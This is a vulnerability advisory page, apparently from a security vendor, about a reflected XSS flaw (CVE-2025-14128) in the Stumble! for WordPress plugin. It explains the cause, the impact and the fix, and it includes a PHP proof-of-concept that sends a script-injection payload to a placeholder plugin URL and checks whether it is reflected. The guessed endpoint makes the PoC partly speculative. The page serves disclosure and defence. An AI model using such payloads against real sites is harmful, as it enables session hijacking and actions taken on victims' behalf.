Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14128: Stumble! for WordPress <= 1.1.1 – Reflected Cross-Site Scripting via $_SERVER['PHP_SELF'] (stumble-for-wordpress)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.1.1
Patched Version
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14128 (metadata-based):
This vulnerability is a reflected cross-site scripting (XSS) flaw in the Stumble! for WordPress plugin, affecting all versions up to and including 1.1.1. The vulnerability originates from the plugin’s improper handling of the `$_SERVER[‘PHP_SELF’]` superglobal variable. The CVSS score of 6.1 (Medium) reflects an attack requiring user interaction but with no authentication prerequisites.

Atomic Edge research identifies the root cause as insufficient sanitization and output escaping of the `$_SERVER[‘PHP_SELF’]` variable before its inclusion in generated HTML. This variable contains the path of the currently executing script relative to the document root. The CWE-79 classification confirms improper neutralization of input during web page generation. Without access to source code, this conclusion is inferred from the vulnerability description and CWE. The plugin likely echoes the `PHP_SELF` value directly into an HTML attribute or raw page output without applying WordPress escaping functions like `esc_url()` or `esc_attr()`.

Exploitation requires an attacker to craft a malicious URL containing a JavaScript payload within the path component. A victim must be tricked into visiting this crafted link. The attack vector is reflected, meaning the payload is delivered via a single HTTP request and the script executes in the victim’s browser context on the page returned by that request. A typical payload would be `”>alert(document.domain)` appended to a URL that triggers the vulnerable plugin file. The exact endpoint is not specified in the metadata, but common patterns include direct plugin PHP files (e.g., `/wp-content/plugins/stumble-for-wordpress/some-file.php`) or admin pages where the plugin loads.

Remediation requires proper output escaping. The fix should replace any direct echo or print of `$_SERVER[‘PHP_SELF’]` with an escaped equivalent. For URLs, `esc_url()` is appropriate. For HTML attributes, `esc_attr()` should be used. Input sanitization on `PHP_SELF` is generally not feasible as it is a server-defined variable, making output escaping the correct and necessary defense.

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of a logged-in user’s browser session. Impact includes session hijacking, actions performed on behalf of the user, defacement, and data theft from the current page. The scope change (S:C) in the CVSS vector indicates the malicious script could affect the user’s interaction with the vulnerable WordPress site, not just the single page.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14128 - Stumble! for WordPress <= 1.1.1 - Reflected Cross-Site Scripting via $_SERVER['PHP_SELF']
<?php
/**
 * Proof of Concept for CVE-2025-14128.
 * This script demonstrates a reflected XSS attack via a crafted URL.
 * The exact vulnerable endpoint is inferred; actual exploitation requires
 * identifying the specific plugin file that unsafely echoes PHP_SELF.
 */

$target_url = 'https://example.com/wp-content/plugins/stumble-for-wordpress/vulnerable-page.php';

// Common XSS payload to test for vulnerability.
// The payload is placed in the URL path, which may populate PHP_SELF.
$payload = '/"><script>alert(`Atomic Edge - XSS via ${document.domain}`)</script>';

$attack_url = $target_url . $payload;

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects if any
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing environments only
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge PoC Scanner');

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check if the payload appears unsanitized in the response
if ($http_code == 200 && strpos($response, $payload) !== false) {
    echo "[!] VULNERABLE: The payload was reflected unsanitized in the response.n";
    echo "[!] Attack URL: " . htmlspecialchars($attack_url) . "n";
    echo "[+] A real attacker would use a more stealthy payload for session theft.n";
} else {
    echo "[-] The endpoint may not be vulnerable, or the specific vulnerable file was not targeted.n";
    echo "[-] Investigate other plugin PHP files that may output PHP_SELF.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School